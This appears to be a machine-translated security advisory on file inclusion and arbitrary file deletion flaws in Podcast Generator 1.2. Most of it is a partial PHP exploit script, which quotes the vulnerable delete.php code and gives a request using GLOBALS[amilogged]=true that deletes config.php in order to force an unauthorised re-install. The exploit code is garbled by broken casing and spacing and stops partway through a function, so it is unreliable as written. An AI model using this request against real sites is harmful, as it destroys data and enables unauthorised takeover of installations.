Multiple module File Inclusion and Arbitrary File Deletion vulnerabilities in Podcast Generator

Affected Versions:
Podcast Generator 1.2

Program introduction:

Podcast Generator is a free Podcast release script written in PHP.

Vulnerability Analysis:

Podcast Generator core/archive_cat.php, core/admin/itunescategories. php and core/admin/login. the php page does not properly filter the input transmitted by the GLOBALS [absoluteurl] parameter, core/themes. the php page does not properly filter input transmitted by the GLOBALS [theme_path] parameter, which may be used to include arbitrary files of local or external resources. In addition, the core/admin/delete. the php page does not properly filter input transmitted by the file and ext parameters, which may cause the deletion of arbitrary files. Successful exploitation of these vulnerabilities requires that register_globals be enabled.

Vulnerability Exploitation:

 

1. <? Php
2. #
3. # Podcast Generator <= 1.2 unauthorized CMS Re-Installation Remote Exploit
4. #
5. # By staker
6. #--------------------------------------
7. # Mail: staker [at] hotmail [dot] it
8. # Url: http:// Podcastgen.sourceforge.net
9. #--------------------------------------
10. #
11. # It works with register_globals = on
12. #
13. # Short explanation:
14. #
15. #----------------------------------------
16. # Podcast Generator contains one flaw that
17. # Allows an attacker to re-install the cms
18. # Because of unlink () inDelete. phpFile
19. #----------------------------------------
20. # Look/Core/admin/delete. php
21. # (Removed authors comments)
22. /* 
24. <? Php 
25. If (isset ($ _ REQUEST [absoluteurl]) OR isset ($ _ REQUEST [amilogged]) OR isset ($ _ REQUEST [theme_path]) 
26. {Exit ;}< -------- {1} 
28. If ($ amilogged! = "True") {exit ;}< ------- {2} 
30. If (isset ($ _ GET [file]) AND $ _ GET [file]! = NULL ){ 
31. $ File = $ _ GET [file]; 
32. $ Ext = $ _ GET [ext]; 
33.  
34. If (file_exists ("$ absoluteurl $ upload_dir $ file. $ ext ")){ 
35. Unlink ("$ upload_dir $ file. $ ext"); <-------- {3} 
36. $ PG_mainbody. = "<p> <B> $ file. $ ext </B> $ L_deleted </p> "; 
37. } 
40. */
41. #
42. # Explanation (code snippet abve [points])
43. # Renewal #-----------------------------------------------------------------------------------
44. #1. blocks allAmiloggedREQUEST variables, what about GLOBALS ?, Therefore useless!
45. #2.If AmiloggedIsnt true->Exit()FunctionActivated.
46. #3. unlink ()DeleteAn existing file.
47. # Renewal #-----------------------------------------------------------------------------------
48. #
49. # ItS possible to deleteConfig. phpTo re-install the cms. we needAmilogged
50. # Set to true. We canDoIt using a GLOBALS variable.
51. #
52. # Admin/core/Delete. Php? GLOBALS [amilogged] = true & file =.../../config & ext = php
53. #
54. # Various:
55. #--------------------------------------------------
56. # They didnt help me but I want to give a thanks
57. # Girex, skerno, Chaomel, XaDoS, Dante90AndGianluka_95
58. #--------------------------------------------------
59. # Today is: 02 June 2009.
60. # Location: Italy, Turin.
61. # Http:// Www.youtube.com/watch? V = dBc7mK5iAH0
62. #--------------------------------------------------
64. Error_reporting(E_STRICT ^ E_WARNING );
66. If($ Argc<2) start_usage ();
68. $ Host=$ Argv[1];
69. $ Path=$ Argv[2];
71. Re_install ();
73. FunctionSend_request ($ Data)